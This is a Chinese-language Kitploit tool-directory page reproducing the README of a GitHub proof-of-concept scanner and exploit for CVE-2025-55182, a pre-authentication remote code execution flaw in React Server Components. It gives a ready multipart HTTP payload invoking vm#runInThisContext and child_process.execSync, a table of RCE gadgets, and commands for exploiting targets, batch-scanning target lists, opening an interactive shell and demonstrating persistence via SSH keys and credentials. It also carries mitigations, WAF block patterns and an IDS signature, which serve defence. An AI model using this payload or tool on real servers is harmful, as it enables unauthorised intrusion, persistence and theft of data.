Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-POC-SCANNER — 统一安全研究工具 | Kitploit
工具/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育红队Payload 开发
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

统一安全研究工具

查看仓库
89个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182:React 服务端组件中的严重预认证远程代码执行漏洞

CVE-2025-55182 CVSS 10.0 受影响的 React 版本 受影响的 Next.js 版本

安全研究由 schema.cx 提供
“控制是一种幻觉。真正控制我们的是我们构建的系统——除非我们首先理解它们。”


📋 目录

  • ⛔ 免责声明与法律声明
  • 📊 执行摘要
  • 🔬 技术描述
  • 🎯 受影响的系统
  • 🔧 概念验证
  • 💥 影响评估
  • 🛡️ 缓解与修复
  • 📅 负责任披露时间线
  • 📚 参考资料
  • 🏆 致谢

⚠️ 免责声明与法律声明

此工具仅供授权的安全测试使用

停。在继续之前请阅读以下内容。

本仓库包含一个严重安全漏洞的概念验证代码。访问、下载或使用本仓库中的任何材料即表示您承认并同意以下条款:

法律要求

  1. 需要书面授权:您必须获得系统所有者的明确书面许可,才能进行任何安全测试。口头协议不足够。
  2. 范围限制:测试必须仅限于授权书中明确列出的系统。“范围蔓延”不被允许。
  3. 适用法律:未经授权访问计算机系统违反:
    • 美国:《计算机欺诈和滥用法》(CFAA),18 U.S.C. § 1030
    • 欧盟:关于打击信息系统攻击的第2013/40/EU号指令
    • 英国:《1990年计算机滥用法》
    • 澳大利亚:《1995年刑法典》,第477-478条
    • 其他司法管辖区:类似的计算机犯罪法律在全球适用

责任免责声明

本仓库的作者与贡献者:

  • 对此工具的任何误用不承担任何责任
  • 不提供任何明示或暗示的担保
  • 对因使用或无法使用本软件而产生的任何损害不承担任何责任
  • 不认可任何形式的非法活动

道德准则

  • 未经许可切勿测试 —— 即使您只是“想检查一下”
  • 记录一切 —— 保留所有测试活动的详细日志
  • 最小化影响 —— 使用尽可能少的侵入性方法
  • 负责任地报告 —— 遵循协调披露实践
  • 尊重隐私 —— 不要窃取或保留敏感数据

“问题不在于我们能否利用这个漏洞。而在于我们是否应该利用它,以及出于什么目的。”


📊 执行摘要

CVE-2025-55182 是一个影响 React 19.x 和 Next.js 15.x-16.x 应用中 React 服务端组件的严重预认证远程代码执行(RCE)漏洞。

业务影响

此漏洞允许任何未认证的攻击者,只要能够网络访问易受攻击的应用,就可以在服务器上执行任意命令。该攻击无需凭据,无需用户交互,并且可以完全自动化。成功利用可导致:

  • 完全服务器沦陷 —— 攻击者获得对底层系统的完全控制
  • 数据泄露风险 —— 访问数据库、环境变量、密钥和用户数据
  • 横向移动 —— 被攻陷的服务器可用于攻击内部网络
  • 供应链风险 —— 服务数百万用户的生产系统可能受到影响

严重性评级

“人们信任系统是因为他们不理解这些系统。这种信任就是漏洞。”


🔬 技术描述

根本原因分析

该漏洞存在于 React 的 Flight 协议实现中,具体位于 requireModule 函数。该函数使用方括号语法根据用户控制的输入访问模块导出,而未验证所请求的属性是否为模块的自有属性。

易受攻击的代码位置:

root@kitploit:~
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
函数:requireModule(大约在第2546-2558行,v19.0.0)

易受攻击的模式:

root@kitploit:~
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 异步处理 ...
  return moduleExports[metadata[2]];  // ← 存在漏洞:没有 hasOwnProperty 检查
}

利用机制

该攻击利用 JavaScript 的原型链遍历:

  1. 入口点:攻击者向服务器操作端点发送一个恶意多部分表单请求
  2. 载荷注入:$ACTION_0:0 字段包含一个 JSON,其 id(模块#导出格式)和 bound(参数)属性由攻击者控制
  3. 原型访问:通过指定如 constructor 这样的导出或访问原型属性,攻击者可以引用内置的 Node.js 模块
  4. RCE 小工具:像 vm.runInThisContext、child_process.execSync 或 fs.readFileSync 这样的函数使用攻击者提供的参数执行

攻击向量

root@kitploit:~
HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // 解析"module#export"格式
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // 原型链访问 → RCE

载荷结构

root@kitploit:~
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

可用的 RCE 小工具

“每个系统都有一扇门。问题在于你是自己建造了锁,还是从某个从未预料会有访客的人那里继承来的。”


🎯 受影响的系统

易受攻击的版本

产品易受攻击的版本已修补的版本
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x(使用易受攻击的 React)包含已修补 React 的版本

利用的先决条件

  1. 启用了 React 服务端组件:应用程序使用 RSC 并带有服务器操作
  2. 使用了易受攻击的 React 版本:使用了受影响版本之一
  3. 网络访问:攻击者可以访问服务器操作端点
  4. 危险模块在打包中:对于直接 RCE,vm、child_process 或 fs 等模块必须在 webpack 打包中

平台要求

  • 运行时:Node.js(支持 React 19 的任何版本)
  • 框架:Next.js App Router 或自定义 RSC 实现
  • 无需额外配置即可存在漏洞

危险模块出现的可能性


🔧 概念验证

扫描器工具

本仓库包含一个全面的基于 Python 的安全扫描器,支持多种操作模式。

仓库结构

root@kitploit:~
CVE-2025-55182-poc/
├── README.md                    # 本文件
├── scanner/
│   ├── __init__.py             # Python 包初始化
│   ├── scanner.py              # 主统一扫描器(6种模式)
│   ├── readme.md               # 详细的扫描器文档
│   ├── requirements.txt        # Python 依赖
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # 漏洞深入分析
│       └── VULNERABLE-PACKAGES.md   # 受影响包版本

安装:

root@kitploit:~
cd scanner
pip install -r requirements.txt

基本使用示例

漏洞扫描:

root@kitploit:~
# 检查目标是否存在漏洞
python scanner.py scan https://target.com

小工具检测:

root@kitploit:~
# 识别可用的 RCE 小工具
python scanner.py exploit https://target.com --detect-gadgets

命令执行(需授权):

root@kitploit:~
# 在易受攻击的目标上执行命令
python scanner.py exploit https://target.com -c "whoami"

批量测试:

root@kitploit:~
# 从文件测试多个目标
python scanner.py batch -f targets.txt -o results.json

自动扫描与验证:

root@kitploit:~
# 综合扫描,带漏洞利用验证
python scanner.py auto -f targets.txt -o report.txt

预期输出

易受攻击的目标:

root@kitploit:~
[+] 对 CVE-2025-55182 存在漏洞!
    框架:Next.js
    版本:15.1.0
    置信度:高
    
可用的 RCE 小工具:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

已修补的目标:

root@kitploit:~
[-] 不存在漏洞或无法确定
    检测到的框架:Next.js
    版本:15.2.0(已修补)

扫描器模式

特性

  • 框架检测:在利用前识别 Next.js/React 应用
  • WAF/CDN 检测:识别 Cloudflare、Akamai、Incapsula、AWS WAF、Azure WAF 等
  • 多种 RCE 小工具:vm、child_process、fs、module 利用路径
  • 两步 RCE:通过 fs#writeFileSync + module#_load 的替代利用方式
  • 验证:通过执行证明确认漏洞利用
  • 误报预防:智能过滤 HTML/WAF 响应
  • 报告:文本、JSON 和 HTML 输出格式

完整文档请参阅 scanner/readme.md。

“工具的威力取决于其背后的意图。在合适的人手中,武器可以成为盾牌。”


💥 影响评估

机密性影响:高

  • 环境变量:数据库凭据、API 密钥、秘密
  • 源代码:应用逻辑、专有算法
  • 用户数据:个人信息、认证令牌
  • 系统文件:/etc/passwd、SSH 密钥、云凭据
  • 内部网络:作为进一步攻击的跳板

完整性影响:高

  • 代码注入:在应用文件中植入后门
  • 数据篡改:数据库修改
  • 配置更改:安全设置、访问控制
  • 持久化机制:定时任务、启动脚本、SSH 密钥

可用性影响:高

  • 服务中断:进程终止、资源耗尽
  • 数据销毁:文件删除、数据库删除
  • 勒索软件部署:加密关键文件
  • 完全系统沦陷:完全管理控制

攻击场景

  1. 数据泄露:攻击者读取包含数据库凭据的 .env 文件,窃取客户数据
  2. 挖矿程序安装:攻击者写入挖矿脚本,添加定时任务以实现持久化
  3. 供应链攻击:攻击者在生产环境中修改源代码,向用户提供恶意内容
  4. 横向移动:被攻陷的服务器用于攻击内部数据库、API 和服务
  5. 勒索软件:攻击者加密应用文件,要求支付解密密钥赎金

🛡️ 缓解与修复

立即行动(立即执行)

  1. 立即升级 React

    root@kitploit:~
    npm update react react-dom react-server-dom-webpack
    

    目标版本:19.0.1+、19.1.2+ 或 19.2.1+

  2. 验证补丁应用

    root@kitploit:~
    npm ls react
    

    确保依赖树中没有再遗留易受攻击的版本

WAF/防火墙规则

阻止包含以下模式的请求:

root@kitploit:~
# 要阻止的请求体模式
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Next.js 配置加固

从 webpack 打包中排除危险包:

root@kitploit:~
// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

检测与监控

需要监控的日志模式:

  • 请求体中异常的 $ACTION_REF_ 或 $ACTION_ID_ 字段
  • 带有包含 JSON 的多部分表单数据的 POST 请求,目标为 /api/* 端点
  • 引用 constructor、prototype 或意外模块访问的错误消息

入侵检测签名:

root@kitploit:~
alert http any any -> $HOME_NET any (
  msg:"CVE-2025-55182 漏洞利用尝试";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

长期建议

  1. 依赖审计:定期使用 npm audit、Snyk 或类似工具进行扫描
  2. 安全更新:通过 Dependabot 或 Renovate 自动更新依赖
  3. 输入验证:在属性访问模式中绝不要信任用户输入
  4. 最小权限:以最小必要权限运行应用程序
  5. 网络分割:将生产系统与内部网络隔离

“打补丁不只是修复破损的东西。更是关闭那些你未曾意识到的敞开的门。”


📅 负责任披露时间线

本披露遵循 CERT/CC 漏洞披露指南 和 ISO/IEC 29147:2018 标准的协调漏洞披露流程。


📚 参考资料

官方资源

  • CVE 条目:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2025-55182

厂商公告

  • React 安全公告:https://github.com/facebook/react/security/advisories
  • Next.js 安全:https://nextjs.org/docs/security

相关研究

  • 技术分析(深入)
  • 受影响包分析

背景阅读

  • OWASP - 原型污染
  • Node.js VM 模块安全
  • React 服务端组件 RFC

🏆 致谢

原始研究

此概念验证由 schema.cx 的安全研究团队开发。

仓库地址:https://github.com/ejpir/CVE-2025-55182-poc

鸣谢

我们要感谢:

  • React 和 Next.js 安全团队的快速响应
  • 安全研究社区的合作分析
  • MITRE 的 CVE 协调

📜 许可证

本项目仅用于教育和授权的安全研究目的。

使用本软件即表示您同意:

  1. 仅在您拥有或已获得明确授权测试的系统上使用
  2. 遵循负责任披露实践
  3. 不将其用于恶意目的
  4. 对自己的行为承担全部责任

“我们并不是为了破坏而入侵。我们入侵是为了理解。而理解是构建更美好事物的第一步。”

schema.cx — 为更安全的数字世界而进行安全研究

下载工具
指标评级
CVSS 3.1 基础分10.0 严重
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响(机密性/完整性/可用性)高 / 高 / 高
小工具模块描述影响
vm#runInThisContextvm在当前上下文中执行 JS直接 RCE
vm#runInNewContextvm在沙箱中执行 JS(可逃逸)直接 RCE
child_process#execSyncchild_process执行 shell 命令直接 RCE
child_process#spawnSyncchild_process生成进程直接 RCE
fs#readFileSyncfs读取任意文件数据泄露
fs#writeFileSyncfs写入任意文件持久化/后门
module#_loadmodule加载 JS 模块(两步 RCE)间接 RCE
模块在打包中的可能性常见来源
fs非常高fs-extra, gray-matter, multer, sharp, chokidar
child_process中高execa, shelljs, puppeteer, sharp, PDF 生成器
vm低中ejs, pug, 模板引擎
module非常低tsx, ts-node(通常仅限 CLI)
模式用途
scan漏洞检测和指纹识别
exploit使用特定小工具进行受控利用
shell在易受攻击目标上的交互式命令 shell
batch测试多个 URL,带统计
auto自动多目标扫描,带验证
persist持久化攻击演示(SSH 密钥、凭据)
日期事件
发现信息待定
通知厂商信息待定
厂商确认信息待定
补丁开发信息待定
补丁发布React 19.0.1、19.1.2、19.2.1
公开披露信息待定
CVE 分配CVE-2025-55182